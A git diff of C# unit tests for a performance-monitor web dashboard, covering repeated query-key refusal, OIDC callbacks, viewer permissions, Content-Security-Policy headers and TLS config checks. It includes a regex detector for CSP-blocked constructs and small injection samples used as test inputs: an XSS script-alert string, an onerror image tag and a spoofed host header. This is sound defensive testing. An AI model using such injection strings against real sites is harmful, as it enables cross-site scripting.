         Assert.Equal(StatusCodes.Status401Unauthorized, ctx.Response.StatusCode);
         Assert.Contains("\"error\"", body, StringComparison.Ordinal);
     }
+
+    /* ---- #5245: a single-value query key sent more than once is refused, never read as the joined "a,b" ---- */
+
+    private static DarlingWebOidcClient FakeOidcClient() => new(new DarlingWebOidcClient.ResolvedOptions(
+        "https://idp.example.test", "client-id", null, "openid", null, null,
+        Array.Empty<string>(), Array.Empty<string>()));
+
+    /// <summary>A request with the query string exactly as given (the helpers above build theirs from one token).</summary>
+    private static async Task<(HttpContext Context, string Body)> Fetch(TestServer server, string path, string rawQuery)
+    {
+        var ctx = await server.SendAsync(c =>
+        {
+            c.Request.Method = "GET";
+            c.Request.Path = path;
+            c.Request.QueryString = new QueryString(rawQuery);
+            c.Request.Headers.Host = ListenIp;
+            c.Connection.RemoteIpAddress = InCidrRemote;
+        });
+
+        return (ctx, await new StreamReader(ctx.Response.Body).ReadToEndAsync());
+    }
+
+    /// <summary>A token that itself contains a comma is the one a joined repeated key could equal: <c>?token=left&amp;token=right</c>
+    /// used to read as <c>left,right</c> and pass the gate. It is no token now, and the one-value form still passes.</summary>
+    [Fact]
+    public async Task NetworkMode_RepeatedTokenKey_IsNotAToken_AndTheSingleKeyStillPasses()
+    {
+        using var server = await BuildServer(networkMode: true, accessToken: "left,right");
+
+        var (repeated, _) = await Fetch(server, "/", "?token=left&token=right");
+        Assert.Equal(StatusCodes.Status200OK, repeated.Response.StatusCode);
+        Assert.Equal("text/html; charset=utf-8", repeated.Response.ContentType);
+        Assert.Equal(0, repeated.Response.Headers.SetCookie.Count);
+
+        var (single, _) = await Fetch(server, "/", "?token=left%2Cright");
+        Assert.Equal(StatusCodes.Status302Found, single.Response.StatusCode);
+        Assert.True(single.Response.Headers.SetCookie.Count > 0);
+    }
+
+    /// <summary>A repeated <c>?token=</c> is refused and still leaves one Token refusal line, as a wrong single token does:
+    /// the line says the key was sent more than once and holds neither token value (#5245).</summary>
+    [Theory]
+    [InlineData("/", StatusCodes.Status200OK)]
+    [InlineData("/api/fleet", StatusCodes.Status401Unauthorized)]
+    public async Task NetworkMode_RepeatedTokenKey_LeavesOneRefusalLine_WithNoTokenValue(string path, int expectedStatus)
+    {
+        var hostLogger = new CapturingTestLogger();
+        using var server = await BuildServer(networkMode: true, hostLogger: hostLogger);
+
+        var (ctx, _) = await Fetch(server, path, "?token=guess-one-value&token=guess-two-value");
+        Assert.Equal(expectedStatus, ctx.Response.StatusCode);
+
+        var line = Assert.Single(hostLogger.Lines);
+        Assert.StartsWith("Warning: Web dashboard ", line, StringComparison.Ordinal);
+        Assert.Contains("the ?token= key was sent more than once", line, StringComparison.Ordinal);
+        Assert.DoesNotContain("guess-one-value", line, StringComparison.Ordinal);
+        Assert.DoesNotContain("guess-two-value", line, StringComparison.Ordinal);
+        Assert.DoesNotContain(Token, line, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task OidcLogin_RepeatedReturnKey_IsRefusedBeforeTheProviderIsAsked()
+    {
+        using var server = await BuildServer(networkMode: true, oidcClient: FakeOidcClient());
+
+        var (repeated, body) = await Fetch(server, "/auth/oidc/login", "?return=%2Fa&return=%2Fb");
+        Assert.Equal(StatusCodes.Status400BadRequest, repeated.Response.StatusCode);
+        Assert.Contains("repeated a parameter", body, StringComparison.Ordinal);
+
+        /* One return key takes the old path: the discovery fetch (this IdP does not exist), not the refusal. */
+        var (_, singleBody) = await Fetch(server, "/auth/oidc/login", "?return=%2Fa");
+        Assert.DoesNotContain("repeated a parameter", singleBody, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData("?error=a&error=b")]
+    [InlineData("?error=access_denied&error_description=a&error_description=b")]
+    [InlineData("?code=a&code=b&state=s")]
+    [InlineData("?code=a&state=s&state=t")]
+    public async Task OidcCallback_RepeatedKey_IsRefused(string rawQuery)
+    {
+        using var server = await BuildServer(networkMode: true, oidcClient: FakeOidcClient());
+
+        var (ctx, body) = await Fetch(server, "/auth/oidc/callback", rawQuery);
+
+        Assert.Equal(StatusCodes.Status400BadRequest, ctx.Response.StatusCode);
+        Assert.Contains("repeated a parameter", body, StringComparison.Ordinal);
+    }
+
+    /// <summary>Each key once behaves as it always did: a provider error is the provider's 403, and a code with no
+    /// transaction behind it is the stale-attempt 400.</summary>
+    [Theory]
+    [InlineData("?error=access_denied&error_description=nope", StatusCodes.Status403Forbidden, "refused the sign-in")]
+    [InlineData("?code=a&state=s", StatusCodes.Status400BadRequest, "stale or was not started")]
+    public async Task OidcCallback_EachKeyOnce_BehavesAsBefore(string rawQuery, int expectedStatus, string expectedText)
+    {
+        using var server = await BuildServer(networkMode: true, oidcClient: FakeOidcClient());
+
+        var (ctx, body) = await Fetch(server, "/auth/oidc/callback", rawQuery);
+
+        Assert.Equal(expectedStatus, ctx.Response.StatusCode);
+        Assert.Contains(expectedText, body, StringComparison.Ordinal);
+        Assert.DoesNotContain("repeated a parameter", body, StringComparison.Ordinal);
+    }
 }
diff --git a/Darling/Darling.Tests/DarlingWebOidcTests.cs b/Darling/Darling.Tests/DarlingWebOidcTests.cs
index cc500f25b6..f1a78db66d 100644
--- a/Darling/Darling.Tests/DarlingWebOidcTests.cs
+++ b/Darling/Darling.Tests/DarlingWebOidcTests.cs
@@ -503,6 +503,7 @@ public void Seat_EditorPrincipal_SubjectOrTheWebConstant()
     [InlineData(true, "DELETE", "/api/views/3", true)]
     [InlineData(false, "GET", "/api/fleet", true)]              // viewer: the whole read surface
     [InlineData(false, "HEAD", "/api/fleet", true)]
+    [InlineData(false, "GET", "/api/server-databases", true)]   // #5245: the database picker's list is a viewer read
     [InlineData(false, "OPTIONS", "/api/views", true)]
     [InlineData(false, "POST", "/api/compose/run", true)]       // the ONE unsafe-method read (panel preview/run)
     [InlineData(false, "POST", "/api/views", false)]            // viewer: no create
@@ -541,6 +542,19 @@ public void Seat_EditorPrincipal_SubjectOrTheWebConstant()
     [InlineData(false, "PATCH", "/api/mute-rules/abc-123", false)]     // no edit
     [InlineData(false, "PUT", "/api/mute-rules/abc-123/enabled", false)] // no flag flip
     [InlineData(false, "DELETE", "/api/mute-rules/abc-123", false)]    // no delete
+    [InlineData(true, "POST", "/api/alert-history/dismiss", true)]     // edit seat: dismiss alert rows (#4843)
+    [InlineData(false, "POST", "/api/alert-history/dismiss", false)]   // viewer: no dismiss
+    // The server-tag write endpoints (#5085): every method is refused to the read-only seat, allowed to the edit seat.
+    [InlineData(true, "POST", "/api/server-tags", true)]
+    [InlineData(true, "PATCH", "/api/server-tags/7", true)]
+    [InlineData(true, "DELETE", "/api/server-tags/7", true)]
+    [InlineData(true, "POST", "/api/server-tags/7/servers", true)]
+    [InlineData(true, "DELETE", "/api/server-tags/7/servers", true)]
+    [InlineData(false, "POST", "/api/server-tags", false)]
+    [InlineData(false, "PATCH", "/api/server-tags/7", false)]
+    [InlineData(false, "DELETE", "/api/server-tags/7", false)]
+    [InlineData(false, "POST", "/api/server-tags/7/servers", false)]
+    [InlineData(false, "DELETE", "/api/server-tags/7/servers", false)]
     public void IsRequestAllowed_Matrix(bool canEdit, string method, string path, bool expected)
         => Assert.Equal(expected, DarlingWebSeat.IsRequestAllowed(new DarlingWebSeat("who", canEdit), method, path));
 
diff --git a/Darling/Darling.Tests/DarlingWebSecurityHeadersTests.cs b/Darling/Darling.Tests/DarlingWebSecurityHeadersTests.cs
new file mode 100644
index 0000000000..cdc480b241
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingWebSecurityHeadersTests.cs
@@ -0,0 +1,471 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Net;
+using System.Security.Cryptography;
+using System.Text;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Hosting;
+using Microsoft.AspNetCore.Http;
+using Microsoft.AspNetCore.TestHost;
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.Extensions.Logging;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The web host's browser-facing response headers (<c>Content-Security-Policy</c>, <c>X-Frame-Options</c>,
+/// <c>X-Content-Type-Options</c>, <c>Referrer-Policy</c>), through the SAME <c>ConfigurePipeline</c> production
+/// calls, over a <see cref="TestServer"/>: on the HTML shell, a static asset, an API JSON reply and an error
+/// reply, in loopback mode and in network mode. A second group checks <c>wwwroot/</c> for any construct the policy
+/// would block, so a later change to the page cannot start failing in the browser without a test going red.
+/// </summary>
+public sealed class DarlingWebSecurityHeadersTests
+{
+    private const string ListenIp = "192.168.1.205";
+    private const string Token = "correct-token-value";
+    private static readonly IPAddress InCidrRemote = IPAddress.Parse("192.168.1.50");
+
+    private static async Task<TestServer> BuildServer(bool networkMode)
+    {
+        var builder = WebApplication.CreateBuilder(new WebApplicationOptions
+        {
+            ContentRootPath = Path.Combine(RepoFile.Root, "Darling", "PerformanceMonitor.Darling.Service"),
+            WebRootPath = "wwwroot",
+        });
+        builder.WebHost.UseTestServer();
+        builder.Logging.ClearProviders();
+
+        var postgres = NpgsqlDataSource.Create("Host=localhost;Database=postgres;Username=darling");
+        builder.Services.AddSingleton(postgres);
+        DarlingWebHostService.ConfigureResponseCompression(builder.Services);
+
+        var app = builder.Build();
+        var host = new DarlingWebHostService(
+            NullLogger<DarlingWebHostService>.Instance,
+            new WebRuntimeState(),
+            new CollectorRuntimeState(),
+            new WebTlsCertificateState(),
+            new BaselineCache());
+
+        host.ConfigurePipeline(
+            app,
+            postgres,
+            networkMode: networkMode,
+            networkListenIp: networkMode ? IPAddress.Parse(ListenIp) : null,
+            allowedCidr: IPNetwork.Parse(networkMode ? "192.168.1.0/24" : "127.0.0.1/32"),
+            accessToken: Token,
+            oidcClient: null);
+
+        await app.StartAsync();
+        return app.GetTestServer();
+    }
+
+    private static Task<HttpContext> Get(TestServer server, bool networkMode, string path, string? hostHeader = null, string? token = null)
+    {
+        return server.SendAsync(ctx =>
+        {
+            ctx.Request.Method = "GET";
+            ctx.Request.Path = path;
+            if (token is not null)
+            {
+                ctx.Request.QueryString = new QueryString("?token=" + Uri.EscapeDataString(token));
+            }
+
+            ctx.Request.Headers.Host = hostHeader ?? (networkMode ? ListenIp : "localhost");
+            ctx.Connection.RemoteIpAddress = networkMode ? InCidrRemote : IPAddress.Loopback;
+        });
+    }
+
+    private static void AssertDefaultHeaders(HttpContext ctx, bool expectDefaultPolicy = true)
+    {
+        var headers = ctx.Response.Headers;
+        Assert.Equal("DENY", headers.XFrameOptions.ToString());
+        Assert.Equal("nosniff", headers.XContentTypeOptions.ToString());
+        Assert.Equal("no-referrer", headers["Referrer-Policy"].ToString());
+        var csp = headers["Content-Security-Policy"].ToString();
+        if (expectDefaultPolicy)
+        {
+            Assert.Equal(DarlingWebSecurityHeaders.ContentSecurityPolicy, csp);
+        }
+
+        Assert.Contains("frame-ancestors 'none'", csp, StringComparison.Ordinal);
+        Assert.Contains("default-src 'self'", csp, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task HtmlShell_CarriesTheHeaders(bool networkMode)
+    {
+        using var server = await BuildServer(networkMode);
+        var ctx = await Get(server, networkMode, "/", token: networkMode ? Token : null);
+
+        /* Network mode answers a right token with a 302 to the shell; the redirect carries the headers too. */
+        Assert.True(ctx.Response.StatusCode is 200 or 302, $"unexpected status {ctx.Response.StatusCode}");
+        AssertDefaultHeaders(ctx);
+    }
+
+    [Fact]
+    public async Task HtmlShell_Loopback_IsTheIndexPageItself()
+    {
+        using var server = await BuildServer(networkMode: false);
+        var ctx = await Get(server, false, "/index.html");
+
+        Assert.Equal(StatusCodes.Status200OK, ctx.Response.StatusCode);
+        Assert.StartsWith("text/html", ctx.Response.ContentType, StringComparison.Ordinal);
+        AssertDefaultHeaders(ctx);
+    }
+
+    [Fact]
+    public async Task StaticAsset_Loopback_CarriesTheHeaders()
+    {
+        using var server = await BuildServer(networkMode: false);
+        var ctx = await Get(server, false, "/js/app.js");
+
+        Assert.Equal(StatusCodes.Status200OK, ctx.Response.StatusCode);
+        AssertDefaultHeaders(ctx);
+    }
+
+    [Fact]
+    public async Task ApiJson_Loopback_CarriesTheHeaders()
+    {
+        using var server = await BuildServer(networkMode: false);
+        var ctx = await Get(server, false, "/api/ping");
+
+        Assert.Equal(StatusCodes.Status200OK, ctx.Response.StatusCode);
+        AssertDefaultHeaders(ctx);
+    }
+
+    [Fact]
+    public async Task ErrorResponse_Loopback_CarriesTheHeaders()
+    {
+        using var server = await BuildServer(networkMode: false);
+        var ctx = await Get(server, false, "/api/this-route-does-not-exist");
+
+        Assert.Equal(StatusCodes.Status404NotFound, ctx.Response.StatusCode);
+        AssertDefaultHeaders(ctx);
+    }
+
+    [Fact]
+    public async Task RefusedHost_Loopback_CarriesTheHeaders()
+    {
+        using var server = await BuildServer(networkMode: false);
+        var ctx = await Get(server, false, "/", hostHeader: "evil.example");
+
+        Assert.Equal(StatusCodes.Status400BadRequest, ctx.Response.StatusCode);
+        AssertDefaultHeaders(ctx);
+    }
+
+    [Fact]
+    public async Task RefusedHost_Network_CarriesTheHeaders()
+    {
+        using var server = await BuildServer(networkMode: true);
+        var ctx = await Get(server, true, "/", hostHeader: "evil.example");
+
+        Assert.Equal(StatusCodes.Status400BadRequest, ctx.Response.StatusCode);
+        AssertDefaultHeaders(ctx);
+    }
+
+    [Fact]
+    public async Task Network_ApiAndStaticWithoutCredentials_CarryTheHeaders()
+    {
+        using var server = await BuildServer(networkMode: true);
+
+        AssertDefaultHeaders(await Get(server, true, "/api/ping"), expectDefaultPolicy: false);
+        AssertDefaultHeaders(await Get(server, true, "/js/app.js"), expectDefaultPolicy: false);
+    }
+
+    [Fact]
+    public async Task Network_ApiAndStaticWithToken_CarryTheDefaultPolicy()
+    {
+        using var server = await BuildServer(networkMode: true);
+
+        /* A right token is exchanged for a 302 and a cookie, so the headers are read on that answer; the
+           shell, asset and API replies behind it are the loopback cases above (the same middleware). */
+        var ctx = await Get(server, true, "/api/ping", token: Token);
+        Assert.Equal(StatusCodes.Status302Found, ctx.Response.StatusCode);
+        AssertDefaultHeaders(ctx);
+    }
+
+    [Fact]
+    public async Task LoginPage_CarriesAPolicyThatAllowsItsOwnInlineBlocksByHash()
+    {
+        using var server = await BuildServer(networkMode: true);
+        var ctx = await Get(server, true, "/");
+
+        Assert.Equal(StatusCodes.Status200OK, ctx.Response.StatusCode);
+        AssertDefaultHeaders(ctx, expectDefaultPolicy: false);
+        var csp = ctx.Response.Headers["Content-Security-Policy"].ToString();
+        var html = await new StreamReader(ctx.Response.Body).ReadToEndAsync();
+
+        Assert.Contains("'sha256-", csp, StringComparison.Ordinal);
+        AssertEveryInlineBlockIsHashed(html, csp);
+    }
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public void PolicyForInlinePage_HashesEveryInlineBlockOfTheLoginPage(bool oidcEnabled)
+    {
+        var html = DarlingWebHostService.BuildLoginPageHtml(oidcEnabled);
+        var csp = DarlingWebSecurityHeaders.PolicyForInlinePage(html);
+
+        AssertEveryInlineBlockIsHashed(html, csp);
+        Assert.Contains("object-src 'none'", csp, StringComparison.Ordinal);
+        Assert.DoesNotContain("'unsafe-inline'", csp.Replace("style-src-attr 'unsafe-inline'", string.Empty, StringComparison.Ordinal), StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData("\r\n")]
+    [InlineData("\r")]
+    public void PolicyForInlinePage_HashesTheTextTheBrowserBuilds_NotTheLineEndsOfTheSource(string lineEnd)
+    {
+        // A page held in a CR LF source file is served with CR LF, and the browser hashes the block after turning each CR LF (or CR) into LF.
+        const string lf = "<html><head><style>\n  body { margin: 0; }\n</style></head><body><script>\nvar a = 1;\nvar b = 2;\n</script></body></html>";
+        var served = lf.Replace("\n", lineEnd, StringComparison.Ordinal);
+
+        Assert.Equal(DarlingWebSecurityHeaders.PolicyForInlinePage(lf), DarlingWebSecurityHeaders.PolicyForInlinePage(served));
+    }
+
+    [Fact]
+    public void PolicyForInlinePage_WithNoInlineBlock_IsTheDefaultPolicy()
+        => Assert.Equal(
+            DarlingWebSecurityHeaders.ContentSecurityPolicy,
+            DarlingWebSecurityHeaders.PolicyForInlinePage("<html><body><script src=\"js/app.js\"></script></body></html>"));
+
+    private static string LfHash(string block)
+        => "'sha256-" + Convert.ToBase64String(SHA256.HashData(Encoding.UTF8.GetBytes(
+            block.Replace("\r\n", "\n", StringComparison.Ordinal).Replace('\r', '\n')))) + "'";
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task LoginPage_PolicyHashesTheLfTextOfTheBlocksInTheServedPage(bool oidcEnabled)
+    {
+        var ctx = new DefaultHttpContext();
+        ctx.Response.Body = new MemoryStream();
+        await DarlingWebHostService.WriteLoginPageAsync(ctx, oidcEnabled);
+        ctx.Response.Body.Position = 0;
+        var html = await new StreamReader(ctx.Response.Body).ReadToEndAsync();
+        var csp = ctx.Response.Headers["Content-Security-Policy"].ToString();
+
+        var blocks = Regex.Matches(html, @"<(script|style)\b[^>]*>(?<body>.*?)</\1>", RegexOptions.Singleline | RegexOptions.IgnoreCase)
+            .Select(m => m.Groups["body"].Value).Where(b => b.Length > 0).ToList();
+        Assert.True(blocks.Count >= 2);
+        foreach (var block in blocks)
+        {
+            Assert.Contains(LfHash(block), csp, StringComparison.Ordinal);
+        }
+
+        /* The page is served in LF, so the bytes a browser hashes are the bytes the server hashed. */
+        Assert.DoesNotContain('\r', html);
+    }
+
+    [Fact]
+    public async Task LandingPage_PolicyDoesNotChangeWithTheReturnPath_AndHashesItsOneConstantScript()
+    {
+        async Task<(string Csp, string Html)> Render(string returnPath)
+        {
+            var ctx = new DefaultHttpContext();
+            ctx.Response.Body = new MemoryStream();
+            await DarlingWebHostService.WriteSignedInLandingAsync(ctx, returnPath);
+            ctx.Response.Body.Position = 0;
+            return (ctx.Response.Headers["Content-Security-Policy"].ToString(), await new StreamReader(ctx.Response.Body).ReadToEndAsync());
+        }
+
+        var (cspA, htmlA) = await Render("/");
+        var (cspB, htmlB) = await Render("/#/servers?name=a&b=\"</a><script>alert(1)</script>");
+
+        Assert.Equal(cspA, cspB);
+        Assert.Equal(DarlingWebHostService.LandingPagePolicy, cspA);
+        foreach (var html in new[] { htmlA, htmlB })
+        {
+            var blocks = Regex.Matches(html, @"<script\b[^>]*>(?<body>.*?)</script>", RegexOptions.Singleline | RegexOptions.IgnoreCase);
+            var block = Assert.Single(blocks);
+            Assert.Contains(LfHash(block.Groups["body"].Value), cspA, StringComparison.Ordinal);
+            Assert.DoesNotContain("alert(1)", block.Groups["body"].Value, StringComparison.Ordinal);
+        }
+
+        Assert.Contains(DarlingWebHostService.LandingScriptBlock, htmlB, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public void LoginPagePolicy_IsFixedPerRendering(bool oidcEnabled)
+        => Assert.Equal(
+            DarlingWebSecurityHeaders.PolicyForInlinePage(DarlingWebHostService.BuildLoginPageHtml(oidcEnabled)),
+            DarlingWebHostService.LoginPagePolicy(oidcEnabled));
+
+    private static void AssertEveryInlineBlockIsHashed(string html, string csp)
+    {
+        var blocks = Regex.Matches(html, @"<(script|style)\b[^>]*>(?<body>.*?)</\1>", RegexOptions.Singleline | RegexOptions.IgnoreCase)
+            // The browser's HTML parser turns CR LF into LF before it builds a block's text, and the hash is of that text.
+            .Select(m => (Kind: m.Groups[1].Value.ToLowerInvariant(), Body: m.Groups["body"].Value.Replace("\r\n", "\n", StringComparison.Ordinal).Replace('\r', '\n')))
+            .Where(b => b.Body.Length > 0)
+            .ToList();
+        Assert.NotEmpty(blocks);
+        foreach (var (kind, body) in blocks)
+        {
+            /* A browser hashes the block after its parser has turned every line ending into LF. */
+            var lf = body.Replace("\r\n", "\n", StringComparison.Ordinal).Replace('\r', '\n');
+            var hash = "'sha256-" + Convert.ToBase64String(SHA256.HashData(Encoding.UTF8.GetBytes(lf))) + "'";
+            var directive = csp.Split(';').Select(d => d.Trim()).First(d => d.StartsWith(kind + "-src ", StringComparison.Ordinal));
+            Assert.Contains(hash, directive, StringComparison.Ordinal);
+        }
+    }
+
+    /* ---- The page-side guard: nothing under wwwroot/ may use a construct the policy blocks. ---- */
+
+    private static string WwwRoot => Path.Combine(RepoFile.Root, "Darling", "PerformanceMonitor.Darling.Service", "wwwroot");
+
+    /// <summary>Removes block comments and whole-line or trailing <c>//</c> comments (a <c>//</c> inside a string,
+    /// as in <c>http://</c>, is left alone because it is not preceded by whitespace).</summary>
+    private static string StripJsComments(string text)
+    {
+        text = Regex.Replace(text, @"/\*.*?\*/", string.Empty, RegexOptions.Singleline);
+        return Regex.Replace(text, @"(^|\s)//[^\r\n]*", "$1", RegexOptions.Multiline);
+    }
+
+    /// <summary>The constructs the default policy blocks. Inline <c>style="..."</c> attributes are NOT here: the
+    /// policy allows them through <c>style-src-attr</c> (see <see cref="DarlingWebSecurityHeaders"/>).</summary>
+    internal static List<string> FindBlockedConstructs(string fileName, string text)
+    {
+        var found = new List<string>();
+        var isHtml = fileName.EndsWith(".html", StringComparison.OrdinalIgnoreCase);
+        var code = isHtml
+            ? Regex.Replace(text, @"<!--.*?-->", string.Empty, RegexOptions.Singleline)
+            : StripJsComments(text);
+
+        if (fileName.EndsWith(".css", StringComparison.OrdinalIgnoreCase))
+        {
+            if (Regex.IsMatch(code, @"@import\s+(url\()?\s*[""']?https?:", RegexOptions.IgnoreCase))
+            {
+                found.Add("a stylesheet @import from another origin");
+            }
+
+            return found;
+        }
+
+        if (Regex.IsMatch(code, @"<script\b(?![^>]*\bsrc\s*=)[^>]*>\s*\S", RegexOptions.IgnoreCase))
+        {
+            found.Add("an inline <script> body");
+        }
+
+        if (Regex.IsMatch(code, @"<style\b", RegexOptions.IgnoreCase))
+        {
+            found.Add("an inline <style> block");
+        }
+
+        if (Regex.IsMatch(code, @"<[a-zA-Z][^<>]*\son[a-zA-Z]{3,}\s*=", RegexOptions.Singleline))
+        {
+            found.Add("an on*= event-handler attribute");
+        }
+
+        if (Regex.IsMatch(code, @"setAttribute\(\s*[""']on[a-zA-Z]{3,}[""']", RegexOptions.IgnoreCase))
+        {
+            found.Add("setAttribute of an on* handler");
+        }
+
+        if (Regex.IsMatch(code, @"[""'`=]\s*javascript:", RegexOptions.IgnoreCase))
+        {
+            found.Add("a javascript: URL");
+        }
+
+        if (Regex.IsMatch(code, @"\beval\s*\(|\bnew\s+Function\s*\(|\bset(Timeout|Interval)\(\s*[""'`]"))
+        {
+            found.Add("eval / new Function / a string handed to a timer");
+        }
+
+        if (Regex.IsMatch(code, @"createElement\(\s*[""']style[""']"))
+        {
+            found.Add("a created <style> element");
+        }
+
+        if (Regex.IsMatch(code, @"\b(insertAdjacentHTML|document\.write)\s*\(.*<(script|style)\b", RegexOptions.IgnoreCase))
+        {
+            found.Add("markup written from script that holds a script or style block");
+        }
+
+        return found;
+    }
+
+    [Fact]
+    public void Wwwroot_HoldsNothingTheDefaultPolicyBlocks()
+    {
+        var files = Directory.EnumerateFiles(WwwRoot, "*", SearchOption.AllDirectories)
+            .Where(f => f.EndsWith(".html", StringComparison.OrdinalIgnoreCase)
+                     || f.EndsWith(".js", StringComparison.OrdinalIgnoreCase)
+                     || f.EndsWith(".css", StringComparison.OrdinalIgnoreCase))
+            .ToList();
+        Assert.True(files.Count > 60, "the check read only " + files.Count + " files; it is reading the wrong folder");
+        Assert.Contains(files, f => f.EndsWith("index.html", StringComparison.OrdinalIgnoreCase));
+
+        var problems = new List<string>();
+        foreach (var file in files)
+        {
+            foreach (var construct in FindBlockedConstructs(Path.GetFileName(file), File.ReadAllText(file)))
+            {
+                problems.Add(Path.GetRelativePath(WwwRoot, file) + ": " + construct);
+            }
+        }
+
+        Assert.True(problems.Count == 0,
+            "These constructs are blocked by the web host's Content-Security-Policy (DarlingWebSecurityHeaders): "
+            + string.Join("; ", problems));
+    }
+
+    [Fact]
+    public void Wwwroot_IndexHtml_LoadsItsScriptAndStylesFromItsOwnOrigin()
+    {
+        var index = File.ReadAllText(Path.Combine(WwwRoot, "index.html"));
+        Assert.DoesNotContain("<style", index, StringComparison.OrdinalIgnoreCase);
+        foreach (Match m in Regex.Matches(index, @"<(script|link)\b[^>]*\b(src|href)\s*=\s*""([^""]*)""", RegexOptions.IgnoreCase))
+        {
+            var target = m.Groups[3].Value;
+            Assert.False(target.StartsWith("http", StringComparison.OrdinalIgnoreCase) || Regex.IsMatch(target, "^/{2}"),
+                "index.html loads " + target + " from another origin");
+        }
+    }
+
+    [Theory]
+    [InlineData("a.html", "<script>run()</script>", "an inline <script> body")]
+    [InlineData("a.html", "<button onclick=\"go()\">x</button>", "an on*= event-handler attribute")]
+    [InlineData("a.html", "<a href=\"javascript:go()\">x</a>", "a javascript: URL")]
+    [InlineData("a.html", "<style>body{}</style>", "an inline <style> block")]
+    [InlineData("a.js", "const f = new Function('return 1');", "eval / new Function / a string handed to a timer")]
+    [InlineData("a.js", "x = eval(code);", "eval / new Function / a string handed to a timer")]
+    [InlineData("a.js", "setTimeout('go()', 10);", "eval / new Function / a string handed to a timer")]
+    [InlineData("a.js", "n.setAttribute('onclick', 'go()');", "setAttribute of an on* handler")]
+    [InlineData("a.js", "const s = document.createElement('style');", "a created <style> element")]
+    [InlineData("a.js", "const h = '<img src=x onerror=go()>';", "an on*= event-handler attribute")]
+    [InlineData("a.css", "@import url(https://cdn.example/x.css);", "a stylesheet @import from another origin")]
+    public void TheGuardCheck_SeesEachBlockedConstruct(string fileName, string text, string expected)
+        => Assert.Contains(expected, FindBlockedConstructs(fileName, text));
+
+    [Theory]
+    [InlineData("a.html", "<script src=\"js/app.js\" type=\"module\"></script>")]
+    [InlineData("a.html", "<!-- <script>run()</script> --><p>text</p>")]
+    [InlineData("a.js", "/* eval(x) and onclick=\"y\" in a comment */ const a = 1; // javascript: in a comment")]
+    [InlineData("a.js", "node.style.display = 'none'; el('div', { style: 'height:4px', onClick: go });")]
+    [InlineData("a.js", "const ns = \"http://www.w3.org/2000/svg\";")]
+    public void TheGuardCheck_LeavesAllowedCodeAlone(string fileName, string text)
+        => Assert.Empty(FindBlockedConstructs(fileName, text));
+}
diff --git a/Darling/Darling.Tests/DarlingWebTlsTests.cs b/Darling/Darling.Tests/DarlingWebTlsTests.cs
index 96ce9e1fa5..d25e58bc8a 100644
--- a/Darling/Darling.Tests/DarlingWebTlsTests.cs
+++ b/Darling/Darling.Tests/DarlingWebTlsTests.cs
@@ -34,14 +34,56 @@ public void Describe_NoBlock_IsNotConfigured()
         => Assert.Equal(DarlingWebTls.TlsShape.NotConfigured, DarlingWebTls.Describe(null).Shape);
 
     [Fact]
-    public void Describe_EmptyBlock_IsNotConfigured()
+    public void Describe_EmptyBlock_IsInvalid()
     {
-        /* A block present but blank must read as "TLS was never asked for", not as a misconfiguration: an
-           operator who left the keys in place with empty values gets plain HTTP + the exposure warning, which
-           is the same outcome as omitting the block. */
+        /* #5288: a block that is present but blank is refused, not read as "TLS was never asked for". Writing the
+           block is the operator's statement that TLS is on, so plain HTTP is only what OMITTING the block means
+           (Describe_NoBlock_IsNotConfigured). */
         var plan = DarlingWebTls.Describe(new WebTlsConfig { PfxPath = "   ", CertPath = "", KeyPath = null });
-        Assert.Equal(DarlingWebTls.TlsShape.NotConfigured, plan.Shape);
-        Assert.Null(plan.Problem);
+        Assert.Equal(DarlingWebTls.TlsShape.Invalid, plan.Shape);
+        Assert.Equal(
+            "web.network.tls is present but sets none of pfxPath, certPath or keyPath. Check the key names, or remove the block for plain HTTP.",
+            plan.Problem);
+    }
+
+    /// <summary>
+    /// #5288: the tls block's config reader skips a key it does not know, so a block written with other key names
+    /// parses to the same all-blank <see cref="WebTlsConfig"/> as an empty one. These read real JSON, so the
+    /// skipped-key path is the one exercised: the block is present, none of its keys bound, and both listeners'
+    /// sections refuse it.
+    /// </summary>
+    [Theory]
+    [InlineData("web")]
+    [InlineData("mcp")]
+    public void Describe_BlockWithOnlyUnknownKeys_IsInvalid(string section)
+    {
+        foreach (var block in new[]
+        {
+            @"{ ""cert"": ""/run/secrets/tls_cert"", ""key"": ""/run/secrets/tls_key"" }",
+            @"{ ""pfx_path"": ""/certs/a.pfx"" }",
+            "{}",
+        })
+        {
+            var tls = ParseTlsBlock(section, block);
+
+            Assert.NotNull(tls);
+            Assert.False(tls!.IsConfigured);
+
+            var plan = DarlingWebTls.Describe(tls, section);
+            Assert.Equal(DarlingWebTls.TlsShape.Invalid, plan.Shape);
+            Assert.Equal(
+                $"{section}.network.tls is present but sets none of pfxPath, certPath or keyPath. Check the key names, or remove the block for plain HTTP.",
+                plan.Problem);
+        }
+    }
+
+    /// <summary>The <c>tls</c> block <c>section</c> (<c>"web"</c> or <c>"mcp"</c>) parses to, through the config reader.</summary>
+    internal static WebTlsConfig? ParseTlsBlock(string section, string tlsJson)
+    {
+        var config = DarlingConfig.Parse(
+            $$"""{ "{{section}}": { "network": { "listen": "192.168.1.205", "tls": {{tlsJson}} } } }""");
+
+        return section == "web" ? config.Web.Network?.Tls : config.Mcp.Network?.Tls;
     }
 
     [Fact]
@@ -430,6 +472,242 @@ and a mounted secret must not trip the plaintext-in-config warning. */
         Assert.False(usedPlaintext);
     }
 
+    /* ---- The section parameter (#5288): one resolver, two listeners ----
